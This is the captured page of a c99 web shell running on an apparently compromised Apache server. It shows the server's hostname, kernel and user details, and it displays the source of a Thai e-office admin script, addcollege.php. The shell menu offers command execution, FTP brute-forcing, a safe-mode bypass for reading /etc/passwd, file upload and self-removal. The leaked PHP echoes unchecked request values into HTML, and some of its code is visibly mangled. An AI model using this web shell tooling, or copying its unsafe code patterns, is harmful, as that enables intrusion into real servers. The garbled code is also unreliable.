!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mistk/eoffice/admin/   drwxr-xr-x
Free 52.23 GB of 127.8 GB (40.87%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     addcollege.php (11.65 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once "template.php";
include_once 
"../class/clsTable.php";
include_once 
"../link/functionshow.php";
include_once 
"funct.php";
include_once 
"../link/keyThai.php";
include_once 
"../class/clsCollegeDetail.php";
include_once 
"../class/clsSysConfig.php";
include_once 
"../class/clsCollegeUnder.php";
include_once 
"../class/clsQuarterCollege.php";

$oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']);

$oCd = new collegedetail($oC);
$oCd2 = new collegedetail($oC);
$oSys = new sysConfig($oCe);

$oCu = new collegeUnder($oC);
$oQc = new quarterCollege($oC);
$oCu2 = new collegeUnder($oC);
$oQc2 = new quarterCollege($oC);

    
$oSys->RSsysConfig();
    
$oSys->GetRecord();
?>
<?
if($method=="addcollege"){
    
$oCd2->SearchByKey($editID);
    
$oCd2->GetRecord();

    
$oCd2->Edit();
    
$oCd2->cID=$oCd2->cID;
    
$oCd2->collegeID=$oCd2->collegeID;
    
$oCd2->collegeName=$collegeName[$oCd2->collegeID];
    
$oCd2->collegeAbbr=$collegeAbbr[$oCd2->collegeID];
    
$oCd2->collegeHost=$collegeHost[$oCd2->collegeID];
    if(
$collegeHost[$oCd2->collegeID]==''){
        
$oCd2->collegeType='N';
    }else{
        
$oCd2->collegeType=$flag[$oCd2->collegeID];
    }
    
$oCd2->collegeqCID=$qCID[$oCd2->collegeID];
    
$oCd2->collegecUID=$cUID[$oCd2->collegeID];    
    
$oCd2->Save();

    if(
$collegeHost[$oCd2->collegeID]!=$editcollegeHost){
        
//update Host in sendreceive table
        
setNewHost($oCd2->collegeID,$editcollegeHost,$collegeHost[$oCd2->collegeID]);
    }
?>
        <script language="JavaScript">
        parent.location.href ="addcollege.php";
        </script>
<?
}else if($method=="addnewcollege"){
        
$error=0;
        if(
$oCd->SearchUsed('collegeID',$addcollegeID)!=0){ $error=1;  $showerror="รหัสหน่วยงานนี้ซ้ำ"; }
        if(
$oCd->SearchUsed('collegeName',$addcollegeName)!=0){ $error=2;   $showerror="ชื่อหน่วยงานนี้ซ้ำ";}
        if(
$oCd->SearchUsed('collegeAbbr',$addcollegeAbbr)!=0){ $error=3;  $showerror="ชื่อย่อหน่วยงานนี้ซ้ำ";}
        if(
$error!=0){
                    
?><script>window.alert('<?  echo $showerror?>');</script>
                    <form  METHOD="POST" action="addcollege.php">
                    <input type="hidden" name="addcollegeID"   id="addcollegeID" value="<? echo $addcollegeID?>">
                    <input type="hidden" name="addcollegeName" id="addcollegeName" value="<? echo $addcollegeName?>">
                    <input type="hidden" name="addcollegeAbbr" id="addcollegeAbbr" value="<? echo $addcollegeAbbr?>">
                    <input type="hidden" name="addcollegeHost" id="addcollegeHost"  value="<? echo $addcollegeHost?>">
                    <input type="hidden" name="addqCID" id="addqCID" value="<? echo $addqCID?>">
                    <input type="hidden" name="addcUID" id="addcUID"  value="<? echo $addcUID?>">                    
                    </form>
                <?
                    
echo "<body onload=\"document.forms[0].submit();\">";
        }else{
                    
$oCd->AddNew();
                    
$oCd->cID=$oCd->GetNextCode();
                    
$oCd->collegeID=$addcollegeID;
                    
$oCd->collegeName=$addcollegeName;
                    
$oCd->collegeAbbr=$addcollegeAbbr;
                    
$oCd->collegeHost=$addcollegeHost;
                    
$oCd->collegeqCID=$addqCID;
                    
$oCd->collegecUID=$addcUID;                    
                    
$oCd->Save();
?>
        <script language="JavaScript">
        parent.location.href ="addcollege.php";
        </script>
<?
} }
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
</head>
<body>
<iframe id="configDept" name="configDept" src="" style="width:$0px;height:0px;border:0"></iframe>
<br>
<table  width="100%"  align="center">
<tr><td width="95%" height="150">
<fieldset>
      <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="?mm=1">จัดการระบบ</a>
      <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle">กำหนดข้อมูลเครื่องแม่ข่ายรับ-ส่งหนังสือระหว่างหน่วยงาน</font></legend>
      <form name="ff" action="addcollege.php" method="post" target="configDept"><? //?>
<table width="100%" height="100%" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#DADADA" style="border-collapse:collapse">
                        <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_15"];?>">
                            <td align="center" width="5%"><strong>รหัสหน่วยงาน</strong></td>
                            <td align="center" width="33%"><strong>ชื่อหน่วยงาน (เครือข่าย,สังกัด)</strong></td>
                            <td align="center" width="15%"><strong>ชื่อย่อหน่วยงาน</strong></td>
                            <td align="center" width="20%"><strong>ip ของหน่วยงาน</strong></td>
                            <td align="center" width="12%"><strong>สถานะ<br>การใช้งาน</strong></td>
                            <td align="center" width="5%"><strong>แก้ไข</strong></td>
                        </tr>
                        <?     
                                $i
=0;
                                
$oCd->RScollegedetail();
                                while(
$oCd->GetRecord()){
                                    
$oCu->SearchByKey($oCd->collegecUID);
                                    
$oCu->GetRecord();
                                    
$oQc->SearchByKey($oCd->collegeqCID);
                                    
$oQc->GetRecord();                                    
                                      if((
$i%2) == 0)
                                              echo 
"<tr>";
                                        else
                                              echo 
"<tr bgcolor=\"".$GLOBALS["COLOR_BG_TD_16"]."\">";                                        
                        
?>
                        <td align="center"><? echo $oCd->collegeID?></td>
                        <td>&nbsp;<? if($edit==&& $oCd->collegeID==$collegeID){  ?><input name="collegeName[<? echo $oCd->collegeID?>]" id="collegeName[<? echo $oCd->collegeID?>]"  type="text" size="37" maxlength="255"  value="<? echo $oCd->collegeName?>"  onkeypress="return chkInputComma(event)">
                        <br>&nbsp;เครือข่าย :: <select name="qCID[<? echo $oCd->collegeID?>]">
                        <?        $oQc2->RSquarterCollege();
                                    while(
$oQc2->GetRecord()){
                        
?>
                                    <option value="<? echo $oQc2->qCID?><? if($oQc2->qCID==$oCd->collegeqCID){  echo "selected";}?>><? echo $oQc2->quarterName?></option>
                        <? }?>            
                                    </select>
                        <br>&nbsp;สังกัด :: <select name="cUID[<? echo $oCd->collegeID?>]">
                        <?        $oCu2->RScollegeUnder();
                                    while(
$oCu2->GetRecord()){
                        
?>
                                    <option value="<? echo $oCu2->cUID?><? if($oCu2->cUID==$oCd->collegecUID){  echo "selected";}?>><? echo $oCu2->collegeUnderName?></option>
                        <? }?>            
                                    </select>                                                                      
                        <? }else{ echo $oCd->collegeName."<br>&nbsp;<font color=#029b0a>(เครือข่าย".$oQc->quarterName.",".$oCu->collegeUnderName.")</font>"; } ?></td>
                        <td>&nbsp;<? if($edit==&& $oCd->collegeID==$collegeID){  ?><input name="collegeAbbr[<? echo $oCd->collegeID?>]"  id="collegeAbbr[<? echo $oCd->collegeID?>]"  type="text" size="20" value="<?  echo $oCd->collegeAbbr?>" onkeypress="return chkInputComma(event)"><? }else{  echo $oCd->collegeAbbr; } ?></td>
                        <td>&nbsp;<? if($edit==&& $oCd->collegeID==$collegeID){  ?><input name="collegeHost[<? echo $oCd->collegeID?>]" id="collegeHost[<? echo $oCd->collegeID?>]"  type="text" size="17" value="<?  echo $oCd->collegeHost?>" onkeypress="return chkInputComma(event)"><? }else{  echo $oCd->collegeHost; } ?></td>
                        <td align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"> 
                    <input name="flag[<? echo $oCd->collegeID?>]" type="checkbox" value="Y" <? if($oCd->collegeType=="Y"){  echo "checked"; } ?> <? if($edit!=|| ($edit==&& $oCd->collegeID!=$collegeID)){ echo 'disabled';  }?>>
                    &nbsp;ใช้ </font></td>
                        <td align="center">
                        <? if($edit==&& $oCd->collegeID==$collegeID){ ?>
                        <img src="../picture/save.gif" title="บันทึกข้อมูล"  border="0" style="cursor:pointer;" onClick="return checkFormat('<? echo $oCd->collegeID?>','<? echo $oCd->collegeHost?>');">
                        <? }else{?>
                        <img src="../picture/edit1.gif" title="แก้ไขข้อมูล"   border="0" style="cursor:pointer;" onClick="location.href='addcollege.php?edit=1&collegeID=<? echo $oCd->collegeID?>';">
                        <? ?>
                        </td></tr>    
                        <?  $i++;}?>
                        <? if($edit!=1){  ?>
                        <tr><td align="center"><input type="text"  name="addcollegeID"  id="addcollegeID" size="2" onkeypress="return isNumberKey('<? echo $InputThai?>',event)"  value="<? echo $addcollegeID?>"></td>
                        <td><input type="text" name="addcollegeName" size="37" id="addcollegeName" maxlength="255" value="<? if($addcollegeName){ echo $addcollegeName; }else{  echo "เพิ่มข้อมูลหน่วยงาน"; }?>" onkeypress="return chkInputComma(event)">
                        <br>&nbsp;เครือข่าย :: <select name="addqCID" id="addqCID">
                        <option value="0" >---กรุณาเลือก---</option>
                        <?        $oQc2->RSquarterCollege();
                                    while(
$oQc2->GetRecord()){
                        
?>
                                    <option value="<? echo $oQc2->qCID?>" ><? echo $oQc2->quarterName?></option>
                        <? }?>            
                                    </select>
                        <br>&nbsp;สังกัด :: <select name="addcUID" id="addcUID">
                        <option value="0" >---กรุณาเลือก---</option>
                        <?        $oCu2->RScollegeUnder();
                                    while(
$oCu2->GetRecord()){
                        
?>
                                    <option value="<? echo $oCu2->cUID?>" ><? echo $oCu2->collegeUnderName?></option>
                        <? }?>            
                                    </select>                                                                      
                        </td>
                        
                        <td><input type="text" name="addcollegeAbbr" size="20"  id="addcollegeAbbr" onkeypress="return chkInputComma(event)" value="<? echo $addcollegeAbbr?>"></td>
                        <td><input type="text" name="addcollegeHost" size="17" id="addcollegeHost" onkeypress="return chkInputComma(event)" value="<? echo $addcollegeHost?>"></td>
                    <td align="right" colspan="2" >บันทึก&nbsp;<img src="../picture/save.gif" title="บันทึกข้อมูลหน่วยงานใหม่"  border="0" style="cursor:pointer;" onClick="return checkFormatseve();">&nbsp;</td></tr>
                    <? ?>
                    </table>
      <table border="0" align="center" width="100%"><tr><td align="center">
    <br>
                <input type="hidden" name="method" id="method">
                <input type="hidden" name="editID" id="editID">
                <input type="hidden" name="editcollegeHost" id="editcollegeHost">
                <input type="button" name="cancel" value="กลับสู่เมนูหลัก" onClick="location.href = '?mm=1'">
                <input type="button" name="cancel" value="ยกเลิก" onClick="location.href = 'addcollege.php'">
          </td>
        </tr></table></form>
      
</fieldset> 
 <table width="99%" border="0" align="center">
        <tr> 
          <td width="80" align="left"><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">&nbsp;<strong>หมายเหตุ 
            : </strong>&nbsp;</font></td>
          <td width="598" colspan="2" align="left"> <font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">การเพิ่มหน่วยงานใหม่ รหัสหน่วยงานจะต้องเป็นรหัสที่ไม่ซ้ำกับหน่วยงานที่มีอยู่</font></td>
        </tr></table>
</td>
</tr>
</table>
</body>
</html>

<script language="javascript">
 function checkFormat(editID,editcollegeHost){ 
                var agree=confirm("คุณต้องการแก้ไขข้อมูลหน่วยงานแน่นอนใช่หรือไม่ ?");
                if (agree){
                    document.ff.editID.value=editID;
                    document.ff.method.value="addcollege";
                    document.ff.editcollegeHost.value=editcollegeHost;
                    document.ff.submit();
                    return true;
                }else{
                    return false ;
                }     

}
 function checkFormatseve(){ 
                 if(document.getElementById('addcollegeID').value==""){
                    alert("กรุณากรอกรหัสหน่วยงาน");
                    document.ff.addcollegeID.focus();                
                }else if(document.getElementById('addcollegeName').value==""){
                    alert("กรุณากรอกชื่อหน่วยงาน");
                    document.ff.addcollegeName.focus();                
                }else    if(document.getElementById('addcollegeAbbr').value==""){
                    alert("กรุณากรอกชื่อย่อหน่วยงาน");
                    document.ff.addcollegeAbbr.focus();                
                }else if(document.getElementById('addcollegeHost').value==""){
                    alert("กรุณากรอก ip ของหน่วยงาน");
                    document.ff.addcollegeHost.focus();
                }else if(document.getElementById('addqCID').value=="0"){
                    alert("กรุณาเลือกเครือข่าย");
                    document.ff.addqCID.focus();
                }else if(document.getElementById('addcUID').value=="0"){
                    alert("กรุณาเลือกสังกัด");
                    document.ff.addcUID.focus();                                                        
                }else{                            
                    var agree=confirm("คุณต้องการบันทึกข้อมูลหน่วยงานใหม่แน่นอนใช่หรือไม่ ?");
                    if (agree){
                        document.ff.method.value="addnewcollege";
                        document.ff.submit();
                        return true;
                    }else{
                        return false ;
                    } 
                }    
}
</script>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0161 ]--